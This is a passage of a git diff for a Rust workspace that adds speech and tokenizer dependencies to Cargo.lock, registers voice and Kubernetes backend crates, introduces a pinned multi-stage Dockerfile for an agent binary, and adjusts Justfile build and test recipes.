+ "base64 0.22.1",
  "const-hex",
  "opentelemetry 0.31.0",
  "opentelemetry_sdk 0.31.0",
- "prost",
+ "prost 0.14.3",
  "serde",
  "serde_json",
  "tonic",
@@ -5996,7 +6333,7 @@ checksum = "56d658ba1faf63f7b9c492cfbe6e0ec365440a16132d3270c1065f7b33f1b638"
 dependencies = [
  "opentelemetry 0.32.0",
  "opentelemetry_sdk 0.32.1",
- "prost",
+ "prost 0.14.3",
  "tonic",
  "tonic-prost",
 ]
@@ -6040,6 +6377,15 @@ version = "0.2.0"
 source = "registry+https://github.com/rust-lang/crates.io-index"
 checksum = "04744f49eae99ab78e0d5c0b603ab218f515ea8cfe5a456d7629ad883a3b6e7d"
 
+[[package]]
+name = "ordered-float"
+version = "2.10.1"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "68f19d67e5a2795c94e73e0bb1cc1a7edeb2e28efd39e2e1c9b7a40c1108b11c"
+dependencies = [
+ "num-traits",
+]
+
 [[package]]
 name = "ordered-float"
 version = "4.6.0"
@@ -6078,6 +6424,24 @@ dependencies = [
  "pin-project-lite",
 ]
 
+[[package]]
+name = "ort"
+version = "2.0.0-rc.12"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "d7de3af33d24a745ffb8fab904b13478438d1cd52868e6f17735ef6e1f8bf133"
+dependencies = [
+ "ndarray",
+ "ort-sys",
+ "smallvec",
+ "tracing",
+]
+
+[[package]]
+name = "ort-sys"
+version = "2.0.0-rc.12"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "d7b497d21a8b6fbb4b5a544f8fadb77e801a09ae0add9e411d31c6f89e3c1e90"
+
 [[package]]
 name = "os_str_bytes"
 version = "6.6.1"
@@ -6202,6 +6566,16 @@ dependencies = [
  "hmac 0.12.1",
 ]
 
+[[package]]
+name = "pem"
+version = "3.0.6"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "1d30c53c26bc5b31a98cd02d20f25a7c8567146caf63ed593a9d87b2775291be"
+dependencies = [
+ "base64 0.22.1",
+ "serde_core",
+]
+
 [[package]]
 name = "pem-rfc7468"
 version = "1.0.0"
@@ -6259,6 +6633,16 @@ dependencies = [
  "pest",
 ]
 
+[[package]]
+name = "petgraph"
+version = "0.7.1"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "3672b37090dbd86368a4145bc067582552b29c27377cad4e0a306c97f9bd7772"
+dependencies = [
+ "fixedbitset 0.5.7",
+ "indexmap",
+]
+
 [[package]]
 name = "petgraph"
 version = "0.8.3"
@@ -6391,7 +6775,7 @@ version = "1.9.0"
 source = "registry+https://github.com/rust-lang/crates.io-index"
 checksum = "092791278e026273c1b65bbdcfbba3a300f2994c896bd01ab01da613c29c46f1"
 dependencies = [
- "base64",
+ "base64 0.22.1",
  "indexmap",
  "quick-xml 0.39.4",
  "serde",
@@ -6457,13 +6841,22 @@ dependencies = [
  "serde",
 ]
 
+[[package]]
+name = "portable-atomic-util"
+version = "0.2.7"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "c2a106d1259c23fac8e543272398ae0e3c0b8d33c88ed73d0cc71b0f1d902618"
+dependencies = [
+ "portable-atomic",
+]
+
 [[package]]
 name = "portmapper"
 version = "0.19.1"
 source = "registry+https://github.com/rust-lang/crates.io-index"
 checksum = "eb3713e4977408279158444a18c1a01ac9bf2e7eaf1fbfd1a19ac9cd18d90721"
 dependencies = [
- "base64",
+ "base64 0.22.1",
  "bytes",
  "derive_more",
  "hyper-util",
@@ -6633,6 +7026,16 @@ dependencies = [
  "unarray",
 ]
 
+[[package]]
+name = "prost"
+version = "0.13.5"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "2796faa41db3ec313a31f7624d9286acf277b52de526150b7e69f3debf891ee5"
+dependencies = [
+ "bytes",
+ "prost-derive 0.13.5",
+]
+
 [[package]]
 name = "prost"
 version = "0.14.3"
@@ -6640,7 +7043,27 @@ source = "registry+https://github.com/rust-lang/crates.io-index"
 checksum = "d2ea70524a2f82d518bce41317d0fae74151505651af45faf1ffbd6fd33f0568"
 dependencies = [
  "bytes",
- "prost-derive",
+ "prost-derive 0.14.3",
+]
+
+[[package]]
+name = "prost-build"
+version = "0.13.5"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "be769465445e8c1474e9c5dac2018218498557af32d9ed057325ec9a41ae81bf"
+dependencies = [
+ "heck",
+ "itertools",
+ "log",
+ "multimap",
+ "once_cell",
+ "petgraph 0.7.1",
+ "prettyplease",
+ "prost 0.13.5",
+ "prost-types 0.13.5",
+ "regex",
+ "syn 2.0.117",
+ "tempfile",
 ]
 
 [[package]]
@@ -6653,15 +7076,28 @@ dependencies = [
  "itertools",
  "log",
  "multimap",
- "petgraph",
+ "petgraph 0.8.3",
  "prettyplease",
- "prost",
- "prost-types",
+ "prost 0.14.3",
+ "prost-types 0.14.3",
  "regex",
  "syn 2.0.117",
  "tempfile",
 ]
 
+[[package]]
+name = "prost-derive"
+version = "0.13.5"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "8a56d757972c98b346a9b766e3f02746cde6dd1cd1d1d563472929fdd74bec4d"
+dependencies = [
+ "anyhow",
+ "itertools",
+ "proc-macro2",
+ "quote",
+ "syn 2.0.117",
+]
+
 [[package]]
 name = "prost-derive"
 version = "0.14.3"
@@ -6675,13 +7111,35 @@ dependencies = [
  "syn 2.0.117",
 ]
 
+[[package]]
+name = "prost-reflect"
+version = "0.14.7"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "7b5edd582b62f5cde844716e66d92565d7faf7ab1445c8cebce6e00fba83ddb2"
+dependencies = [
+ "logos",
+ "miette",
+ "once_cell",
+ "prost 0.13.5",
+ "prost-types 0.13.5",
+]
+
+[[package]]
+name = "prost-types"
+version = "0.13.5"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "52c2c1bf36ddb1a1c396b3601a3cec27c2462e45f07c386894ec3ccf5332bd16"
+dependencies = [
+ "prost 0.13.5",
+]
+
 [[package]]
 name = "prost-types"
 version = "0.14.3"
 source = "registry+https://github.com/rust-lang/crates.io-index"
 checksum = "8991c4cbdb8bc5b11f0b074ffe286c30e523de90fee5ba8132f1399f23cb3dd7"
 dependencies = [
- "prost",
+ "prost 0.14.3",
 ]
 
 [[package]]
@@ -6748,6 +7206,33 @@ version = "3.2.0"
 source = "registry+https://github.com/rust-lang/crates.io-index"
 checksum = "95067976aca6421a523e491fce939a3e65249bac4b977adee0ee9771568e8aa3"
 
+[[package]]
+name = "protox"
+version = "0.7.2"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "6f352af331bf637b8ecc720f7c87bf903d2571fa2e14a66e9b2558846864b54a"
+dependencies = [
+ "bytes",
+ "miette",
+ "prost 0.13.5",
+ "prost-reflect",
+ "prost-types 0.13.5",
+ "protox-parse",
+ "thiserror 1.0.69",
+]
+
+[[package]]
+name = "protox-parse"
+version = "0.7.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "a3a462d115462c080ae000c29a47f0b3985737e5d3a995fcdbcaa5c782068dde"
+dependencies = [
+ "logos",
+ "miette",
+ "prost-types 0.13.5",
+ "thiserror 1.0.69",
+]
+
 [[package]]
 name = "pulldown-cmark"
 version = "0.13.4"
@@ -7053,7 +7538,7 @@ dependencies = [
  "thiserror 2.0.18",
  "unicode-segmentation",
  "unicode-truncate",
- "unicode-width",
+ "unicode-width 0.2.2",
 ]
 
 [[package]]
@@ -7116,7 +7601,7 @@ dependencies = [
  "strum",
  "time",
  "unicode-segmentation",
- "unicode-width",
+ "unicode-width 0.2.2",
 ]
 
 [[package]]
@@ -7128,6 +7613,43 @@ dependencies = [
  "bitflags 2.13.0",
 ]
 
+[[package]]
+name = "rawpointer"
+version = "0.2.1"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "60a357793950651c4ed0f3f52338f53b2f809f32d83a07f72909fa13e4c6c1e3"
+
+[[package]]
+name = "rayon"
+version = "1.12.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "fb39b166781f92d482534ef4b4b1b2568f42613b53e5b6c160e24cfbfa30926d"
+dependencies = [
+ "either",
+ "rayon-core",
+]
+
+[[package]]
+name = "rayon-cond"
+version = "0.4.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "2964d0cf57a3e7a06e8183d14a8b527195c706b7983549cd5462d5aa3747438f"
+dependencies = [
+ "either",
+ "itertools",
+ "rayon",
+]
+
+[[package]]
+name = "rayon-core"
+version = "1.13.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "22e18b0f0062d30d4230b2e85ff77fdfe4326feb054b9783a3460d8435c8ab91"
+dependencies = [
+ "crossbeam-deque",
+ "crossbeam-utils",
+]
+
 [[package]]
 name = "redb"
 version = "3.1.3"
@@ -7249,7 +7771,7 @@ version = "0.12.28"
 source = "registry+https://github.com/rust-lang/crates.io-index"
 checksum = "eddd3ca559203180a307f12d114c268abf583f59b03cb906fd0b3ff8646c1147"
 dependencies = [
- "base64",
+ "base64 0.22.1",
  "bytes",
  "encoding_rs",
  "futures-channel",
@@ -7297,7 +7819,7 @@ version = "0.13.4"
 source = "registry+https://github.com/rust-lang/crates.io-index"
 checksum = "219c5811de6525e5416c7d5d53bb656d3afdbc6c5af816e0802bcfa42dbdc1c3"
 dependencies = [
- "base64",
+ "base64 0.22.1",
  "bytes",
  "encoding_rs",
  "futures-core",
@@ -7387,7 +7909,7 @@ source = "registry+https://github.com/rust-lang/crates.io-index"
 checksum = "1d1f571c72940a19d9532fe52dbea8bc9912bf1d766c2970bb824056b86f3f59"
 dependencies = [
  "async-trait",
- "base64",
+ "base64 0.22.1",
  "bytes",
  "chrono",
  "futures",
@@ -7455,7 +7977,7 @@ dependencies = [
  "async-trait",
  "aws-creds",
  "aws-region",
- "base64",
+ "base64 0.22.1",
  "bytes",
  "cfg-if 1.0.4",
  "futures-util",
@@ -7779,6 +8301,15 @@ dependencies = [
  "cc",
 ]
 
+[[package]]
+name = "secrecy"
+version = "0.10.3"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "e891af845473308773346dc847b2c23ee78fe442e0472ac50e22a18a93d3ae5a"
+dependencies = [
+ "zeroize",
+]
+
 [[package]]
 name = "secret-service"
 version = "4.0.0"
@@ -7856,6 +8387,18 @@ version = "0.6.0"
 source = "registry+https://github.com/rust-lang/crates.io-index"
 checksum = "cd0b0ec5f1c1ca621c432a25813d8d60c88abe6d3e08a3eb9cf37d97a0fe3d73"
 
+[[package]]
+name = "sentencepiece-model"
+version = "0.1.4"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "40b87bf750a8322c3236d7aa63c1f4a6862187d00d2d8b038e1dfe263bfe43ec"
+dependencies = [
+ "miette",
+ "prost 0.13.5",
+ "prost-build 0.13.5",
+ "protox",
+]
+
 [[package]]
 name = "serde"
 version = "1.0.228"
@@ -7866,6 +8409,16 @@ dependencies = [
  "serde_derive",
 ]
 
+[[package]]
+name = "serde-value"
+version = "0.7.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "f3a1a3341211875ef120e117ea7fd5228530ae7e7036a779fdc9117be6b3282c"
+dependencies = [
+ "ordered-float 2.10.1",
+ "serde",
+]
+
 [[package]]
 name = "serde_bytes"
 version = "0.11.19"
@@ -8066,6 +8619,28 @@ dependencies = [
  "os_str_bytes",
 ]
 
+[[package]]
+name = "sherpa-onnx"
+version = "1.13.4"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "0b142d3f255cb4e4b7808ea25869db6f5714e0a3550da355234483b4db552055"
+dependencies = [
+ "serde",
+ "serde_json",
+ "sherpa-onnx-sys",
+]
+
+[[package]]
+name = "sherpa-onnx-sys"
+version = "1.13.4"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "ffc951af03dc0653c0622158ca8a585a6f2bc43b7b06048cf0e5b5020005c227"
+dependencies = [
+ "bzip2",
+ "tar",
+ "ureq",
+]
+
 [[package]]
 name = "shlex"
 version = "1.3.0"
@@ -8201,8 +8776,8 @@ name = "skippy-protocol"
 version = "0.74.0"
 source = "git+https://github.com/Mesh-LLM/mesh-llm.git?tag=v0.74.0#e60b2fe43aa05271569fbeff2a457133aef456a1"
 dependencies = [
- "prost",
- "prost-build",
+ "prost 0.14.3",
+ "prost-build 0.14.3",
  "protoc-bin-vendored",
  "serde",
 ]
@@ -8230,7 +8805,7 @@ dependencies = [
  "anyhow",
  "async-trait",
  "axum",
- "base64",
+ "base64 0.22.1",
  "blake3",
  "clap",
  "futures-util",
@@ -8337,6 +8912,18 @@ dependencies = [
  "der",
 ]
 
+[[package]]
+name = "spm_precompiled"
+version = "0.1.4"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "5851699c4033c63636f7ea4cf7b7c1f1bf06d0cc03cfb42e711de5a5c46cf326"
+dependencies = [
+ "base64 0.13.1",
+ "nom",
+ "serde",
+ "unicode-segmentation",
+]
+
 [[package]]
 name = "sprig"
 version = "0.1.0"
@@ -8365,7 +8952,7 @@ version = "0.9.0"
 source = "registry+https://github.com/rust-lang/crates.io-index"
 checksum = "05b44e85bf579a8eeb4ceaa77a3a523baf2bf0e9bac7e40f405d537b5d2d5ccb"
 dependencies = [
- "base64",
+ "base64 0.22.1",
  "bytes",
  "cfg-if 1.0.4",
  "chrono",
@@ -8471,7 +9058,7 @@ source = "registry+https://github.com/rust-lang/crates.io-index"
 checksum = "87a2bdd6e83f6b3ea525ca9fee568030508b58355a43d0b2c1674d5f79dcd65e"
 dependencies = [
  "atoi",
- "base64",
+ "base64 0.22.1",
  "bitflags 2.13.0",
  "byteorder",
  "chrono",
@@ -8612,6 +9199,164 @@ version = "0.1.0"
 source = "registry+https://github.com/rust-lang/crates.io-index"
 checksum = "a7973cce6668464ea31f176d85b13c7ab3bba2cb3b77a2ed26abd7801688010a"
 
+[[package]]
+name = "symphonia"
+version = "0.5.5"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "5773a4c030a19d9bfaa090f49746ff35c75dfddfa700df7a5939d5e076a57039"
+dependencies = [
+ "lazy_static",
+ "symphonia-bundle-flac",
+ "symphonia-bundle-mp3",
+ "symphonia-codec-aac",
+ "symphonia-codec-alac",
+ "symphonia-codec-pcm",
+ "symphonia-codec-vorbis",
+ "symphonia-core",
+ "symphonia-format-isomp4",
+ "symphonia-format-ogg",
+ "symphonia-format-riff",
+ "symphonia-metadata",
+]
+
+[[package]]
+name = "symphonia-bundle-flac"
+version = "0.5.5"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "c91565e180aea25d9b80a910c546802526ffd0072d0b8974e3ebe59b686c9976"
+dependencies = [
+ "log",
+ "symphonia-core",
+ "symphonia-metadata",
+ "symphonia-utils-xiph",
+]
+
+[[package]]
+name = "symphonia-bundle-mp3"
+version = "0.5.5"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "4872dd6bb56bf5eac799e3e957aa1981086c3e613b27e0ac23b176054f7c57ed"
+dependencies = [
+ "lazy_static",
+ "log",
+ "symphonia-core",
+ "symphonia-metadata",
+]
+
+[[package]]
+name = "symphonia-codec-aac"
+version = "0.5.5"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "4c263845aa86881416849c1729a54c7f55164f8b96111dba59de46849e73a790"
+dependencies = [
+ "lazy_static",
+ "log",
+ "symphonia-core",
+]
+
+[[package]]
+name = "symphonia-codec-alac"
+version = "0.5.5"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "8413fa754942ac16a73634c9dfd1500ed5c61430956b33728567f667fdd393ab"
+dependencies = [
+ "log",
+ "symphonia-core",
+]
+
+[[package]]
+name = "symphonia-codec-pcm"
+version = "0.5.5"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "4e89d716c01541ad3ebe7c91ce4c8d38a7cf266a3f7b2f090b108fb0cb031d95"
+dependencies = [
+ "log",
+ "symphonia-core",
+]
+
+[[package]]
+name = "symphonia-codec-vorbis"
+version = "0.5.5"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "f025837c309cd69ffef572750b4a2257b59552c5399a5e49707cc5b1b85d1c73"
+dependencies = [
+ "log",
+ "symphonia-core",
+ "symphonia-utils-xiph",
+]
+
+[[package]]
+name = "symphonia-core"
+version = "0.5.5"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "ea00cc4f79b7f6bb7ff87eddc065a1066f3a43fe1875979056672c9ef948c2af"
+dependencies = [
+ "arrayvec",
+ "bitflags 1.3.2",
+ "bytemuck",
+ "lazy_static",
+ "log",
+]
+
+[[package]]
+name = "symphonia-format-isomp4"
+version = "0.5.5"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "243739585d11f81daf8dac8d9f3d18cc7898f6c09a259675fc364b382c30e0a5"
+dependencies = [
+ "encoding_rs",
+ "log",
+ "symphonia-core",
+ "symphonia-metadata",
+ "symphonia-utils-xiph",
+]
+
+[[package]]
+name = "symphonia-format-ogg"
+version = "0.5.5"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "2b4955c67c1ed3aa8ae8428d04ca8397fbef6a19b2b051e73b5da8b1435639cb"
+dependencies = [
+ "log",
+ "symphonia-core",
+ "symphonia-metadata",
+ "symphonia-utils-xiph",
+]
+
+[[package]]
+name = "symphonia-format-riff"
+version = "0.5.5"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "c2d7c3df0e7d94efb68401d81906eae73c02b40d5ec1a141962c592d0f11a96f"
+dependencies = [
+ "extended",
+ "log",
+ "symphonia-core",
+ "symphonia-metadata",
+]
+
+[[package]]
+name = "symphonia-metadata"
+version = "0.5.5"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "36306ff42b9ffe6e5afc99d49e121e0bd62fe79b9db7b9681d48e29fa19e6b16"
+dependencies = [
+ "encoding_rs",
+ "lazy_static",
+ "log",
+ "symphonia-core",
+]
+
+[[package]]
+name = "symphonia-utils-xiph"
+version = "0.5.5"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "ee27c85ab799a338446b68eec77abf42e1a6f1bb490656e121c6e27bfbab9f16"
+dependencies = [
+ "symphonia-core",
+ "symphonia-metadata",
+]
+
 [[package]]
 name = "syn"
 version = "1.0.109"
@@ -8709,7 +9454,7 @@ version = "1.4.1"
 source = "registry+https://github.com/rust-lang/crates.io-index"
 checksum = "fce91f2f0ec87dff7e6bcbbeb267439aa1188703003c6055193c821487400432"
 dependencies = [
- "unicode-width",
+ "unicode-width 0.2.2",
 ]
 
 [[package]]
@@ -8783,9 +9528,9 @@ source = "registry+https://github.com/rust-lang/crates.io-index"
 checksum = "4676b37242ccbd1aabf56edb093a4827dc49086c0ffd764a5705899e0f35f8f7"
 dependencies = [
  "anyhow",
- "base64",
+ "base64 0.22.1",
  "bitflags 2.13.0",
- "fancy-regex",
+ "fancy-regex 0.11.0",
  "filedescriptor",
  "finl_unicode",
  "fixedbitset 0.4.2",
@@ -8935,6 +9680,39 @@ version = "0.1.1"
 source = "registry+https://github.com/rust-lang/crates.io-index"
 checksum = "1f3ccbac311fea05f86f61904b462b55fb3df8837a366dfc601a0161d0532f20"
 
+[[package]]
+name = "tokenizers"
+version = "0.22.2"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "b238e22d44a15349529690fb07bd645cf58149a1b1e44d6cb5bd1641ff1a6223"
+dependencies = [
+ "ahash",
+ "aho-corasick",
+ "compact_str 0.9.1",
+ "dary_heap",
+ "derive_builder",
+ "esaxx-rs",
+ "fancy-regex 0.14.0",
+ "getrandom 0.3.4",
+ "itertools",
+ "log",
+ "macro_rules_attribute",
+ "monostate",
+ "paste",
+ "rand 0.9.4",
+ "rayon",
+ "rayon-cond",
+ "regex",
+ "regex-syntax",
+ "serde",
+ "serde_json",
+ "spm_precompiled",
+ "thiserror 2.0.18",
+ "unicode-normalization-alignments",
+ "unicode-segmentation",
+ "unicode_categories",
+]
+
 [[package]]
 name = "tokio"
 version = "1.52.3"
@@ -9070,7 +9848,7 @@ version = "0.13.2"
 source = "registry+https://github.com/rust-lang/crates.io-index"
 checksum = "dad543404f98bfc969aeb71994105c592acfc6c43323fddcd016bb208d1c65cb"
 dependencies = [
- "base64",
+ "base64 0.22.1",
  "bytes",
  "futures-core",
  "futures-sink",
@@ -9171,7 +9949,7 @@ checksum = "ac2a5518c70fa84342385732db33fb3f44bc4cc748936eb5833d2df34d6445ef"
 dependencies = [
  "async-trait",
  "axum",
- "base64",
+ "base64 0.22.1",
  "bytes",
  "h2",
  "http",
@@ -9200,7 +9978,7 @@ source = "registry+https://github.com/rust-lang/crates.io-index"
 checksum = "50849f68853be452acf590cde0b146665b8d507b3b8af17261df47e02c209ea0"
 dependencies = [
  "bytes",
- "prost",
+ "prost 0.14.3",
  "tonic",
 ]
 
@@ -9210,8 +9988,8 @@ version = "0.14.6"
 source = "registry+https://github.com/rust-lang/crates.io-index"
 checksum = "73ab1b02061f83d519bba3caa167f88f261ef05720ab8ebc954ade70de3348e8"
 dependencies = [
- "prost",
- "prost-types",
+ "prost 0.14.3",
+ "prost-types 0.14.3",
  "tonic",
 ]
 
@@ -9241,6 +10019,7 @@ source = "registry+https://github.com/rust-lang/crates.io-index"
 checksum = "4cfcf7e2740e6fc6d4d688b4ef00650406bb94adf4731e43c096c3a19fe40840"
 dependencies = [
  "async-compression",
+ "base64 0.22.1",
  "bitflags 2.13.0",
  "bytes",
  "futures-core",
@@ -9500,6 +10279,15 @@ dependencies = [
  "tinyvec",
 ]
 
+[[package]]
+name = "unicode-normalization-alignments"
+version = "0.1.12"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "43f613e4fa046e69818dd287fdc4bc78175ff20331479dab6e1b0f98d57062de"
+dependencies = [
+ "smallvec",
+]
+
 [[package]]
 name = "unicode-properties"
 version = "0.1.4"
@@ -9520,9 +10308,15 @@ checksum = "16b380a1238663e5f8a691f9039c73e1cdae598a30e9855f541d29b08b53e9a5"
 dependencies = [
  "itertools",
  "unicode-segmentation",
- "unicode-width",
+ "unicode-width 0.2.2",
 ]
 
+[[package]]
+name = "unicode-width"
+version = "0.1.14"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "7dd6e30e90baa6f72411720665d41d89b9a3d039dc45b8faea1ddd07f617f6af"
+
 [[package]]
 name = "unicode-width"
 version = "0.2.2"
@@ -9535,6 +10329,12 @@ version = "0.2.6"
 source = "registry+https://github.com/rust-lang/crates.io-index"
 checksum = "ebc1c04c71510c7f702b52b7c350734c9ff1295c464a03335b00bb84fc54f853"
 
+[[package]]
+name = "unicode_categories"
+version = "0.1.1"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "39ec24b3121d976906ece63c9daad25b85969647682eee313cb5779fdd69e14e"
+
 [[package]]
 name = "universal-hash"
 version = "0.5.1"
@@ -9557,6 +10357,22 @@ version = "0.9.0"
 source = "registry+https://github.com/rust-lang/crates.io-index"
 checksum = "8ecb6da28b8a351d773b68d5825ac39017e680750f980f3a1a85cd8dd28a47c1"
 
+[[package]]
+name = "ureq"
+version = "2.12.1"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "02d1a66277ed75f640d608235660df48c8e3c19f3b4edb6a263315626cc3c01d"
+dependencies = [
+ "base64 0.22.1",
+ "flate2",
+ "log",
+ "once_cell",
+ "rustls",
+ "rustls-pki-types",
+ "url",
+ "webpki-roots 0.26.11",
+]
+
 [[package]]
 name = "url"
 version = "2.5.8"
@@ -10480,8 +11296,8 @@ dependencies = [
  "log",
  "serde",
  "thiserror 2.0.18",
- "windows 0.61.3",
- "windows-core 0.61.2",
+ "windows 0.62.2",
+ "windows-core 0.62.2",
 ]
 
 [[package]]
@@ -10548,7 +11364,7 @@ checksum = "3e1e496dcbe6a09017acdfaf48e1a646735e7ff5b2a49e2c7e081cca77a59bc8"
 dependencies = [
  "anyhow",
  "async-trait",
- "base64",
+ "base64 0.22.1",
  "bytes",
  "clap",
  "crc32fast",
@@ -10585,7 +11401,7 @@ source = "registry+https://github.com/rust-lang/crates.io-index"
 checksum = "cb838aa8eb67d730af301584cf003caad407487606058292a6750711b603fbee"
 dependencies = [
  "async-trait",
- "base64",
+ "base64 0.22.1",
  "blake3",
  "bytemuck",
  "bytes",
diff --git a/Cargo.toml b/Cargo.toml
index 3ac7ee4cce..cc1dd0f9df 100644
--- a/Cargo.toml
+++ b/Cargo.toml
@@ -26,6 +26,8 @@ members = [
     "crates/buzz-pair-relay",
     "crates/buzz-relay-mesh",
     "crates/buzz-dev-mcp",
+    "crates/buzz-voice",
+    "crates/buzz-backend-kubernetes",
     "examples/countdown-bot",
 ]
 exclude = ["desktop/src-tauri"]
@@ -57,6 +59,13 @@ sqlx = { version = "0.9", features = [
 redis        = { version = "1.0", features = ["tokio-comp", "connection-manager", "tokio-rustls-comp"] }
 deadpool-redis = { version = "0.23", features = ["rt_tokio_1"] }
 
+# Kubernetes (buzz-backend-kubernetes provider). No `ring` feature here: the
+# process-level CryptoProvider is installed explicitly at startup, matching
+# buzz-cli/buzz-acp/buzz-admin/buzz-relay/buzz-dev-mcp — see the comment on the
+# crate's own rustls dependency.
+kube = { version = "2.0", default-features = false, features = ["client", "rustls-tls"] }
+k8s-openapi = { version = "0.26", features = ["v1_31"] }
+
 # Nostr
 nostr = { version = "0.44", features = ["nip44", "nip98"] }
 
diff --git a/Dockerfile.sprig b/Dockerfile.sprig
new file mode 100644
index 0000000000..160e0b5662
--- /dev/null
+++ b/Dockerfile.sprig
@@ -0,0 +1,44 @@
+# syntax=docker/dockerfile:1.7
+# Multi-arch is produced by building this file on native amd64 and arm64 runners.
+# Keep both bases pinned to manifest-list digests so either architecture resolves
+# to immutable source bytes.
+FROM rust:1.95-alpine3.22@sha256:064dfc925d68d1a63f4fd2871bd7dc6e6ea56692989a487185855d62885d90aa AS builder
+
+RUN apk add --no-cache \
+      build-base \
+      cmake \
+      git \
+      musl-dev \
+      openssl-dev \
+      openssl-libs-static \
+      perl \
+      pkgconf \
+      protoc
+WORKDIR /build
+COPY . .
+RUN cargo build --locked --profile sprig -p sprig \
+    && strip target/sprig/sprig
+
+FROM alpine:3.22@sha256:14358309a308569c32bdc37e2e0e9694be33a9d99e68afb0f5ff33cc1f695dce
+
+RUN apk add --no-cache bash ca-certificates curl git \
+    && adduser -D -h /home/agent agent \
+    && install -d -o agent -g agent /workspace /home/agent \
+    && git config --system gpg.format x509 \
+    && git config --system gpg.x509.program /usr/local/bin/git-sign-nostr \
+    && git config --system commit.gpgSign true \
+    && git config --system tag.gpgSign true
+
+COPY --from=builder --chmod=0755 /build/target/sprig/sprig /usr/local/bin/sprig
+COPY --chmod=0755 scripts/sprig-entrypoint.sh /usr/local/bin/sprig-entrypoint
+RUN for name in \
+      buzz-acp buzz-agent buzz-dev-mcp rg tree buzz \
+      git-credential-nostr git-sign-nostr; do \
+        ln -s sprig "/usr/local/bin/$name"; \
+    done
+
+ENV HOME=/home/agent \
+    PATH=/usr/local/bin:/usr/local/sbin:/usr/sbin:/usr/bin:/sbin:/bin
+WORKDIR /home/agent
+USER agent
+ENTRYPOINT ["/usr/local/bin/sprig-entrypoint"]
diff --git a/Justfile b/Justfile
index 2d76f1a7b9..0a43249d5f 100644
--- a/Justfile
+++ b/Justfile
@@ -155,7 +155,11 @@ _ensure-sidecar-stubs:
     set -euo pipefail
     TARGET=$(rustc -vV | sed -n 's|host: ||p')
     mkdir -p desktop/src-tauri/binaries
-    for bin in buzz-acp buzz-agent buzz-dev-mcp git-credential-nostr buzz; do
+    SIDECARS=(buzz-acp buzz-agent buzz-dev-mcp git-credential-nostr buzz)
+    if [[ "$TARGET" != *windows* ]]; then
+        SIDECARS+=(buzz-backend-kubernetes)
+    fi
+    for bin in "${SIDECARS[@]}"; do
         touch "desktop/src-tauri/binaries/${bin}-${TARGET}"
     done
 
@@ -192,7 +196,7 @@ _ensure-migrations: _ensure-services
 
 # Run clippy on the desktop Tauri Rust crate
 desktop-tauri-clippy: _ensure-sidecar-stubs
-    cargo clippy --manifest-path {{desktop_tauri_manifest}} --all-targets -- -D warnings
+    cargo clippy --manifest-path {{desktop_tauri_manifest}} --workspace --all-targets -- -D warnings
 
 # Check the desktop Tauri Rust crate compiles
 desktop-tauri-check: _ensure-sidecar-stubs
@@ -200,30 +204,42 @@ desktop-tauri-check: _ensure-sidecar-stubs
 
 # Run desktop Tauri Rust unit tests
 desktop-tauri-test: _ensure-sidecar-stubs
-    cd desktop/src-tauri && cargo test
-
-# Verify compiled-flag behavior under both compile states (clean + internal).
-# Runs the observer_archive focused test twice with independently supplied
-# expected values; build.rs rerun-if-env-changed triggers recompilation.
+    cd desktop/src-tauri && cargo test --workspace
+
+# Run the native terminal latency gate explicitly on a known-idle host.
+# This is intentionally excluded from shared CI: scheduler contention makes a
+# wall-clock assertion flaky, and the release profile is the shipped shape.
+desktop-terminal-performance-test:
+    cargo test --manifest-path desktop/src-tauri/crates/buzz-terminal/Cargo.toml --release --test latency g3_renderer_acquire_stays_within_frame_budget -- --ignored --exact --nocapture
+
+# Verify compiled-flag behavior under both compile states (clean + capability set).
+# Runs the auto-connect and owner-only access focused tests twice with
+# independently supplied expected values; build.rs rerun-if-env-changed
+# triggers recompilation.
 desktop-tauri-test-compiled-flags: _ensure-sidecar-stubs
     #!/usr/bin/env bash
     set -euo pipefail
     cd desktop/src-tauri
     echo "=== Clean build (no flag) → expect false ==="
-    env -u BUZZ_BUILD_OBSERVER_ARCHIVE_DEFAULT \
